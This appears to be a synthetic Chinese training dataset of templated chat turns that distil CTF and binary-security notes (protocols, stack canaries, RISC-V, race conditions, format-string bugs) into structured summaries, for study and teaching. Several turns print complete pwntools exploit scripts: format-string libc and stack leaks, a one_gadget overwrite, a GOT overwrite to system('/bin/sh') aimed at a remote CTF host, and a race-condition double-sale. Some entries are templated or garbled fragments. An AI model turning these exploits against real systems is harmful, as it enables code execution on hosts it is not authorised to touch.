[User] 将 `docs/misc/traffic/protocols/readme.md` 中的章节「协议分析概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/readme.md`
标题：协议分析概述
章节：协议分析概述
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“协议分析概述”展开。
- 例如，网络中一个微机用户和一个大型主机的操作员进行通信，由于这两个数据终端所用字符集不同，因此操作员所输入的命令彼此不认识。
- 为了能进行通信，规定每个终端都要将各自字符集中的字符先变换为标准字符集的字符后，才进入网络传送，到达目的终端之后，再变换为该终端字符集的字符。
- 当然，对于不相容终端，除了需变换字符集字符外还需转换其他特性，如显示格式、行长、行数、屏幕滚动方式等也需作相应的变换。
- 相应的，我们在协议分析这一章节中，将会从以下几个方面来介绍这一部分的知识： - Wireshark 常用功能的介绍 - HTTP 协议分析 - HTTPS 协议分析 - FTP 协议分析 - DNS 协议分析 - WIFI 协议分析 - USB 协议分析
- 网络协议为计算机网络中进行数据交换而建立的规则、标准或约定的集合。

关键术语：
- misc
- traffic
- protocols
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

协议分析概述

协议分析概述


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/summary/get-address.md` 中的章节「获取地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/summary/get-address.md`
标题：获取地址
章节：获取地址
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“获取地址”展开。
- 在漏洞利用的过程中，我们常常需要获取一些变量，函数的地址，以便于能够进行进一步的利用。
- 在上面的几种方式中，我认为主要有两点核心思想 - 充分利用代码本身的性质，比如程序某些代码的位置就是固定的，如不开启 PIE 时，代码段的位置；
- 充分利用相对偏移的性质，这是由于目前程序加载时往往加载的内存都是一段一段的，所以相对偏移往往是固定的。
- 这里我将获取地址的方法分为如下几类 - 直接寻找地址，即我们可以通过反编译等手段直接看到对应符号的地址。
- 泄漏地址，即需要我们通过控制程序的执行流来泄漏程序中的某些符号指针的内容，来获取对应的地址。

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- summary

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

获取地址

获取地址


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「2. 保存寄存器内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x04 调用规约 > 2. 保存寄存器内容
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“2. 保存寄存器内容”展开。
- 由 callee 保存： - s0–s11（x8–x9, x18–x27） → 用于长期保存的数据 - fs0–fs11（f8–f9, f18–f27） → 浮点保存寄存器 - ra（x1） → 返回地址（call伪指令修改ra后由被调用函数保存） 由 caller 保存： - t0–t6（x5–x7, x28–x31） - ft0–ft11（f0–f7, f28–f31）

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

2. 保存寄存器内容

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/mitigation/canary.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/mitigation/canary.md`
标题：Canary
章节：Canary > 介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“介绍”展开。
- 我们知道，通常栈溢出的利用方式是通过溢出存在于栈上的局部变量，从而让多出来的数据覆盖 ebp、eip 等，从而达到劫持控制流的目的。
- 栈溢出保护是一种缓冲区溢出攻击缓解手段，当函数存在缓冲区溢出攻击漏洞时，攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。
- 攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉，导致栈保护检查失败而阻止 shellcode 的执行，避免漏洞利用成功。
- 由于 stack overflow 而引发的攻击非常普遍也非常古老，相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里，直到现在也作为系统安全的第一道防线存在。
- Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段，它的出现很大程度上增加了栈溢出攻击的难度，并且由于它几乎并不消耗系统资源，所以现在成了 Linux 下保护机制的标配。

关键术语：
- 边界/溢出
- 栈
- 修复/缓解
- 漏洞利用
- pwn
- linux
- user-mode
- mitigation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

介绍

边界/溢出 栈 修复/缓解 漏洞利用 pwn linux user-mode mitigation

Canary


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/detect-bp.md` 中的章节「objdump -M intel -d xxx | ./antibp.pl」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/detect-bp.md`
标题：Detecting Breakpoints
章节：objdump -M intel -d xxx | ./antibp.pl
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“objdump -M intel -d xxx | ./antibp.pl”展开。
- 80483be: 3d cc 00 00 00 cmp eax,0xcc `` 检测到后, 既可以将0xcc修改成0x00或0x90, 也可以做任何你想做的操作. 改变0xcc也同样可能带来问题, 就如上篇介绍一样, 程序如果有进行文件校验, 那么我们的改变是会被检测到的. 可能的情况下, 程序也不只是对函数入口点进行检测, 也会在一个循环里对整个函数进行检测. 因此你也可以用十六进制编辑器手动放置一个ICEBP(0xF1)字节到需要断下的位置(而非int 3). 因为ICEBP`也一样能让gdb断下来. >...

关键术语：
- reverse
- platform
- linux
- detect-bp.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

objdump -M intel -d xxx | ./antibp.pl

Detecting Breakpoints


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/encode/computer.md` 中的章节「XXencoding」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/encode/computer.md`
标题：计算机相关的编码
章节：coding=utf-8 > XXencoding
路径分类：misc / misc/encode/computer.md
分块：1/1

核心知识点：
- 本节主题围绕“XXencoding”展开。
- ``text 1 2 3 4 5 6 0123456789012345678901234567890123456789012345678901234567890123 | | | | | | | +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz `` 具体信息参见维基百科
- 这三个字节共有 24 个 Bit，以 6bit 为单位分为 4 个组，每个组以十进制来表示所出现的数值只会落在 0 到 63 之间。
- XXencode 将输入文本以每三个字节为单位进行编码。
- 如果最后剩下的资料少于三个字节，不够的部份用零补齐。

关键术语：
- misc
- encode
- computer.md
- code:text

代码/命令片段线索：
- text: 4 行，首行 `1 2 3 4 5 6`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

XXencoding

计算机相关的编码


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/png.md` 中的章节「数据块CHUNk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/png.md`
标题：PNG
章节：PNG > 文件格式 > 数据块CHUNk
路径分类：misc / misc/picture/png.md
分块：1/1

核心知识点：
- 本节主题围绕“数据块CHUNk”展开。
- PNG 定义了两种类型的数据块，一种是称为关键数据块（critical chunk），这是标准的数据块，另一种叫做辅助数据块（ancillary chunks），这是可选的数据块。
- 关键数据块定义了 4 个标准数据块，每个 PNG 文件都必须包含它们，PNG 读写软件也都必须要支持这些数据块。

关键术语：
- misc
- picture
- png.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

数据块CHUNk

PNG


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/data.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/data.md`
标题：数据提取
章节：数据提取 > tshark > 例题
路径分类：misc / misc/traffic/data.md
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- > 题目：google-ctf-2016 : a-cute-stegosaurus-100 这题的数据隐藏的非常巧妙,而且有一张图片混淆视听,需要对tcp协议非常熟悉,所以当时做出来的人并不多,全球只有 26 支队伍 在tcp报文段中有6Bit的状态控制码,分别如下 - URG：紧急比特（urgent）,当URG＝1时，表明紧急指针字段有效,代表该封包为紧急封包。
- 它告诉系统此报文段中有紧急数据，应尽快传送(相当于高优先级的数据) - ACK：确认比特（Acknowledge）。
- RST：复位比特(Reset) ,当RST＝1时，表明TCP连接中出现严重差错（如由于主机崩溃或其他原因），必须释放连接，然后再重新建立运输连接。
- SYN：同步比特(Synchronous)，SYN置为1，就表示这是一个连接请求或连接接受报文,通常带有 SYN 标志的封包表示『主动』要连接到对方的意思。
- PSH：（Push function）若为1时，代表要求对方立即传送缓冲区内的其他对应封包，而无需等缓冲满了才送。

关键术语：
- 密码学
- misc
- traffic
- data.md
- code:shell

代码/命令片段线索：
- plain: 6 行，首行 `⚡ root@kali: tshark -r Stego-200_urg.pcap -T fields -e tcp.urgent_pointer|egrep -vi "^0$"|tr '\n' ','`
- shell: 20 行，首行 `➜ Desktop file ears`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

数据提取 tshark 例题

数据提取


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`
标题：Race Condition
章节：给管道传输数据 > 死锁 > 概述
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“概述”展开。
- P2 拥有资源 R1、还需要额外资源 R2 才能运行，两边都在互相等待而没有任何一个可运行。
- 下图所示，P1、P2 两个进程都需要资源才能继续运行。
- P1 拥有资源 R2、还需要额外资源 R1 才能运行；
- 其实，死锁主要是因为在冲突的执行流中，出现了循环等待的执行流，即循环等待中的每一个执行流都获得一个资源，同时试图获得下一个资源。
- [图片文件: ./figure/process_deadlock.png] 一般来说，死锁有以下四个必要条件 - 互斥，资源是互斥的。

关键术语：
- pwn
- linux
- user-mode
- race-condition

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

概述

给管道传输数据 死锁 概述

Race Condition


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/mips/readme.md` 中的章节「0x2 指令 Instruction」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/mips/readme.md`
标题：MIPS
章节：MIPS > 0x2 指令 Instruction
路径分类：assembly / assembly/mips/readme.md
分块：3/4

核心知识点：
- 本节主题围绕“0x2 指令 Instruction”展开。
- | | Syntax: | sllv $d, $t, $s | | Encoding: | 0000 00ss ssst tttt dddd d--- --00 0100 | SLT -- Set on less than (signed) | Description: | If $s is less than $t, $d is set to one.
- | | Syntax: | slt $d, $s, $t | | Encoding: | 0000 00ss ssst tttt dddd d000 0010 1010 | SLTI -- Set on less than immediate (signed) | Description: | If $s is less than immediate, $t is set to one.
- | Bitwise logical ors two registers and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $s \| $t;
- | | Syntax: | sb $t, offset($s) | | Encoding: | 1010 00ss ssst tttt iiii iiii iiii iiii | SLL -- Shift left logical | Description: | Shifts a register value left by the shift amount listed in the instruction and places the result in a third register.
- Zeroes are shifted in. | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $t << h;

关键术语：
- assembly
- mips
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

0x2 指令 Instruction

MIPS


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「泄露栈变量的值」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 泄露栈变量的值

获取栈中被视为第 `n+1` 个参数的值：`%n$x`（`%n$p`）

我们可以通过漏洞泄露栈上的`canary`和`libc`地址。

亦或者在开启`PIE`保护的情况下泄露程序地址。

注意：`%x` 其实只是 `%d` 的 16 进制输出，对应的是 32 位也就是 4 字节；在 64 位操作系统下，只会截取后 32 位；`%p`和系统位数关联没有问题，因此建议用 `%p`

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/2024ylb-fmt/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/2024ylb-fmt/exp.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

关键常量/偏移样例：
`0x120`, `0xe3b01`, `0xe3b04`, `0x024083`, `0x4010b0`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc=ELF("./libc-2.31.so")
context(os=elf.os, arch=elf.arch, log_level='debug')

payload=b"%13$p%15$p".ljust(0x28,b"a")+p64(0x4010b0)
s(payload)
ru("welcome to YLCTF\n")
libc.address=int(r(14),16)-0x024083
stack=int(r(14),16)-0x120

lg("base:",libc.address)
lg("stack:",stack)

getshell=libc.address+0xe3b01
"""
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
"""
payload=b"a"*0x28+p64(getshell)

s(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「=============================」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# =============================
one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][2]
exit_hook  = ld_base + 0x2ef70

info("one_gadget: " + hex(one_gadget))
info("exit hook: " + hex(exit_hook))

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 例题

> [NISACTF 2022]shop_pwn

+ 分析

运行程序，发现是一个物品购买界面。我们首先输入 1 来查看一下。

[图片: image]

可以看到我们有一只笔，并且还有 100 元钱。

[图片: image]

程序中存储着 flag，并且架构为 200 元，数量为 100。我们卖了笔之后的钱仍然是 100，不足购买 flag。

分析卖函数，如果`bags`全局变量即我们的物品不为空则创建线程执行`to_sale`函数。跟进分析`to_sale`函数。

[图片: image]

可以看到`to_sale`中首先将`bags`中的对应物品清零，然后加了`money`全局变量，即我们的钱。并且函数中是没有做条件竞争防范的。所以我们可以尝试利用条件竞争漏洞。

[图片: image]

通过条件竞争漏洞将我们有的笔卖两次，然后我们的钱就足够买 flag 了。

+ exp

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

#卖第1次
sl(b'3')
sl(b'0')
#卖第2次
sl(b'3')
sl(b'0')

#购买flag
sla(b'> ', b'2')
sla(b'> ', b'1')
r()

#查看物品
sla(b'> ', b'1')
r()

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/exp.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`
- `get_sb`

关键常量/偏移样例：
`0xffff`

训练用代码片段：
```python
#!/usr/bin/env python2
from pwn import *

def get_sb():
    return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('axb_2019_fmt64')
#io = process([elf.path])
io=remote("node5.buuoj.cn",25147)
libc = ELF("/buu/64/libc-2.23.so")
context(os=elf.os, arch=elf.arch, log_level='debug')

off=8
payload = b"%9$saaaa"+p64(elf.got.puts)
r()
s(payload)
puts_addr=l64()
libc.address = puts_addr - libc.sym['puts']
lg('puts', puts_addr)
system,sh=get_sb()
lg('system', system)
lg('sh', sh)
strlen=libc.sym['strlen']
lg("strlen",strlen)
high_sys = (system >> 16) & 0xff
low_sys = system & 0xffff
payload = "%" + str(high_sys - 9) + "c%12$hhn" + "%" + str(low_sys - high_sys) + "c%13$hn"
print(payload)
payload = payload.ljust(32,"A") + p64(strlen + 2) + p64(strlen)
ru("Please tell me:")
s(payload)
r()
s(";/bin/sh\x00")

ia()
```

其它漏洞/格式化字符串/exp.py

其它漏洞/格式化字符串/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它/2025qwb-flag-market/bin/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它/2025qwb-flag-market/bin/exp.py`

分类：misc_pwn

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

关键常量/偏移样例：
`0x1e0`, `0x19bde2a0`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('chall')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')

sla(b"1.take my money", "1")
sla(b"how much you want to pay?", "255")
sla(b"please report:", b"r" + b"\x00" * 0xff + b"pap%9$ppad%13$s")
dbg()
sa(b"1.take my money", b"1")
sa(b"how much you want to pay?",b"1")

ru(b"pap")
leak = int(ru(b"pad")[:-3].decode(), 16)
lg("leak", leak)

# flag 在堆上的地址 0x19bde2a0+0x1e0
target = leak + 0x1e0
sa(b"1.take my money", b"1\x00")
sla(b"how much you want to pay?",b"1" + b"\x00" * 7 + p64(target))

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「简介」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 简介

在 C 语言中，整数的基本数据类型包括 `short`、`int`、`long` 和 `char`，每种数据类型都可以是有符号（signed）或无符号（unsigned）。这些数据类型在内存中占用的大小和它们表示的值的范围是不同的。

在 《C和指针》 一书中，将`char`型也归类为整数类型，严格来说确实如此。虽然它通常用来表示字符，但从 C 语言的角度来看，`char` 实际上是整数类型的一种。其默认大小为 1 字节（8 位），而且它的值范围依赖于是否是有符号类型。`char`型之所以被视为字符型，仅仅是因为它使用 ASCII 码值来表示字符，但是它也可以作为整型使用。

| 类型                 | 字节          | 范围                                                   |
| -------------------- | ------------- | ------------------------------------------------------ |
| `char`               | 1byte (byte)  | `-128 ~ 127`（有符号）                                 |
| `unsigned char`      | 1byte (byte)  | `0 ~ 255`（无符号）                                    |
| `short int`          | 2byte (word)  | `-32768 ~ 32767`（有符号）                             |
| `unsigned short int` | 2byte (word)  | `0 ~ 65535`（无符号）                                  |
| `int`                | 4byte (dword) | `-2147483648 ~ 2147483647`（有符号）                   |
| `unsigned int`       | 4byte (dword) | `0 ~ 4294967295`（无符号）                             |
| `long int`           | 8byte (qword) | `-9223372036854775808 ~ 9223372036854775807`（有符号） |
| `unsigned long int`  | 8byte (qword) | `0 ~ 18446744073709551615`（无符号）                   |

众所周知，两位十六进制数表示一个字节，正如上表中所示，`char` 类型占用一个字节，因此使用两位十六进制数表示。

我们可以通过以下 C 语言示例代码来查看不同数据类型的宽度。这段代码将有符号数和无符号数的最大值赋值给几个变量。并输出整型变量的十六进制形式和十进制形式。

+ 示例代码

```c
#include <stdio.h>

void main() {

    char sa = 0x7f;
    short sb = 0x7fff;
    int sc = 0x7fffffff;
    long sd = 0x7fffffffffffffff;

    unsigned char ua = 0xff;
    unsigned short ub = 0xffff;
    unsigned int uc = 0xffffffff;
    unsigned long ud = 0xffffffffffffffff;

    printf("signed   char  0x%x  : %d\n", sa, sa);
    printf("signed   short 0x%x  : %d\n", sb, sb);
    printf("signed   int   0x%x  : %d\n", sc, sc);
    printf("signed   long  0x%lx : %ld\n", sd, sd);

    printf("unsigned char  0x%x  : %u\n", ua, ua);
    printf("unsigned short 0x%x  : %u\n", ub, ub);
    printf("unsigned int   0x%x  : %u\n", uc, uc);
    printf("unsigned long  0x%lx : %lu\n", ud, ud);
}
```

+ 运行结果

可以看到，输出的结果为每个整型变量的最大值。

```shell
signed   char  0x7f  : 127
signed   short 0x7fff  : 32767
signed   int   0x7fffffff  : 2147483647
signed   long  0x7fffffffffffffff : 9223372036854775807
unsigned char  0xff  : 255
unsigned short 0xffff  : 65535
unsigned int   0xffffffff  : 4294967295
unsigned long  0xffffffffffffffff : 18446744073709551615
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/yz.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/yz.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdlib.h>`

函数/封装：
- `main`

训练用代码片段：
```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  setvbuf(stdout,0,2,0);
  char s[100]="aaaaaaaa.%p-%p-%p-%p-%p-%p-%p-%p-%p";
  printf(s);
  return EXIT_SUCCESS;
}
```

其它漏洞/格式化字符串/yz.c

其它漏洞/格式化字符串/yz.c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「基础知识」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 基础知识

+ 常见格式化字符串函数

| **函数**  | **基本介绍**                           |
| :-------- | :------------------------------------- |
| printf    | 输出到stdout                           |
| fprintf   | 输出到指定FILE流                       |
| vprintf   | 根据参数列表格式化输出到stdout         |
| vfprintf  | 根据参数列表格式化输出到FILE流         |
| sprintf   | 输出到字符串                           |
| snprintf  | 输出指定字节数到字符串                 |
| vsprintf  | 根据参数列表格式化输出到字符串         |
| vsnprintf | 根据参数列表格式化输出指定字节到字符串 |

+ 常见格式化字符串参数
  - `%c`：输出字符，配上`%n`可用于向指定地址写数据。
  - `%d`：输出十进制整数，配上`%n`可用于向指定地址写数据。
